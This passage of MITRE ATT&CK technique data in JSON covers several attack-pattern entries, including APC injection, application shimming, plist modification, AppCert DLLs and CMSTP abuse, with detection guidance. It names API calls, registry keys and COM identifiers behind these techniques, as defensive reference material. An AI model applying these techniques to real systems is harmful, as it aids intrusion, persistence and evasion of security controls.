                    "source_name": "TechNet Schtasks",
                    "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/bb490996.aspx"
                }
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            ],
            "modified": "2025-04-15T22:48:29.215Z",
            "name": "Masquerade Task or Service",
            "description": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Scheduled Job: Scheduled Job Modification",
                "Service: Service Creation",
                "Command: Command Execution",
                "Service: Service Metadata",
                "Scheduled Job: Scheduled Job Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605",
            "created": "2020-01-14T01:29:43.786Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/004",
                    "external_id": "T1055.004"
                },
                {
                    "source_name": "Microsoft APC",
                    "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx"
                },
                {
                    "source_name": "CyberBit Early Bird Apr 2018",
                    "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.",
                    "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/"
                },
                {
                    "source_name": "ENSIL AtomBombing Oct 2016",
                    "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
                    "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows"
                },
                {
                    "source_name": "Microsoft Atom Table",
                    "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                }
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            "modified": "2025-04-25T14:47:11.435Z",
            "name": "Asynchronous Procedure Call",
            "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Access",
                "Process: Process Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1",
            "created": "2020-10-19T13:40:11.118Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1020/001",
                    "external_id": "T1020.001"
                },
                {
                    "source_name": "AWS Traffic Mirroring",
                    "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.",
                    "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"
                },
                {
                    "source_name": "Cisco Traffic Mirroring",
                    "description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html"
                },
                {
                    "source_name": "GCP Packet Mirroring",
                    "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.",
                    "url": "https://cloud.google.com/vpc/docs/packet-mirroring"
                },
                {
                    "source_name": "Juniper Traffic Mirroring",
                    "description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.",
                    "url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html"
                },
                {
                    "source_name": "Azure Virtual Network TAP",
                    "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.",
                    "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                }
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            "modified": "2025-04-15T19:58:44.474Z",
            "name": "Traffic Duplication",
            "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\n\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals).  Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices",
                "IaaS"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1138",
                    "external_id": "T1138"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Black Hat 2015 App Shim",
                    "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
                }
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            "modified": "2025-04-25T15:15:46.767Z",
            "name": "Application Shimming",
            "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236",
            "created": "2022-04-09T15:06:32.458Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1647",
                    "external_id": "T1647"
                },
                {
                    "source_name": "eset_osx_flashback",
                    "description": "ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf"
                },
                {
                    "source_name": "fileinfo plist file description",
                    "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.",
                    "url": "https://fileinfo.com/extension/plist"
                },
                {
                    "source_name": "wardle chp2 persistence",
                    "description": "Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume 0x1:Analysis. Retrieved April 19, 2022.",
                    "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
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            "modified": "2025-04-15T22:57:13.867Z",
            "name": "Plist File Modification",
            "description": "Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application\u2019s <code>info.plist</code> file  to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for common command-line editors used to modify plist files located in auto-run locations, such as <code>\\~/LaunchAgents</code>, <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>, and an application's <code>Info.plist</code>. \n\nMonitor for plist file modification immediately followed by code execution from <code>\\~/Library/Scripts</code> and <code>~/Library/Preferences</code>. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "File: File Modification"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7d356151-a69d-404e-896b-71618952702a",
            "created": "2025-03-21T13:36:48.710Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1127/003",
                    "external_id": "T1127.003"
                },
                {
                    "source_name": "Cyble",
                    "description": "Cyble. (2024, September 9). Reputation Hijacking with JamPlus: A Maneuver to Bypass Smart App Control (SAC). Retrieved March 21, 2025.",
                    "url": "https://cyble.com/blog/reputation-hijacking-with-jamplus-a-maneuver-to-bypass-smart-app-control-sac/"
                },
                {
                    "source_name": "Elastic Security Labs",
                    "description": "Joe Desimone. (2024, August 5). Dismantling Smart App Control. Retrieved March 21, 2025.",
                    "url": "https://www.elastic.co/security-labs/dismantling-smart-app-control"
                },
                {
                    "source_name": "JamPlus manual",
                    "description": "Perforce Software, Inc.. (n.d.). JamPlus manual: Quick Start Guide. Retrieved March 21, 2025.",
                    "url": "https://jamplus.github.io/jamplus/quick_start.html"
                }
            ],
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            ],
            "modified": "2025-04-17T21:42:31.066Z",
            "name": "JamPlus",
            "description": "Adversaries may use `JamPlus` to proxy the execution of a malicious script. `JamPlus` is a build utility tool for code and data build systems. It works with several popular compilers and can be used for generating workspaces in code editors such as Visual Studio.(Citation: JamPlus manual)\n\nAdversaries may abuse the `JamPlus` build utility to execute malicious scripts via a `.jam` file, which describes the build process and required dependencies. Because the malicious script is executed from a reputable developer tool, it may subvert application control security systems such as Smart App Control.(Citation: Cyble)(Citation: Elastic Security Labs)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
            "created": "2020-01-24T14:47:41.795Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/009",
                    "external_id": "T1546.009"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Sysinternals AppCertDlls Oct 2007",
                    "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20130401232752/https://forum.sysinternals.com/appcertdlls_topic12546.html"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:44.894Z",
            "name": "AppCert DLLs",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1191",
                    "external_id": "T1191"
                },
                {
                    "source_name": "Microsoft Connection Manager Oct 2009",
                    "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)"
                },
                {
                    "source_name": "Twitter CMSTP Usage Jan 2018",
                    "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.",
                    "url": "https://twitter.com/ItsReallyNick/status/958789644165894146"
                },
                {
                    "source_name": "MSitPros CMSTP Aug 2017",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "url": "https://msitpros.com/?p=3960"
                },
                {
                    "source_name": "Twitter CMSTP Jan 2018",
                    "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.",
                    "url": "https://twitter.com/NickTyrer/status/958450014111633408"
                },
                {
                    "source_name": "GitHub Ultimate AppLocker Bypass List",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
                    "url": "https://github.com/api0cradle/UltimateAppLockerByPassList"
                },
                {
                    "source_name": "Endurant CMSTP July 2018",
                    "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.",
                    "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:47.218Z",
            "name": "CMSTP",
            "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
                "Nik Seetharaman, Palantir"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1188",
                    "external_id": "T1188"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:47.381Z",
            "name": "Multi-hop Proxy",
            "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
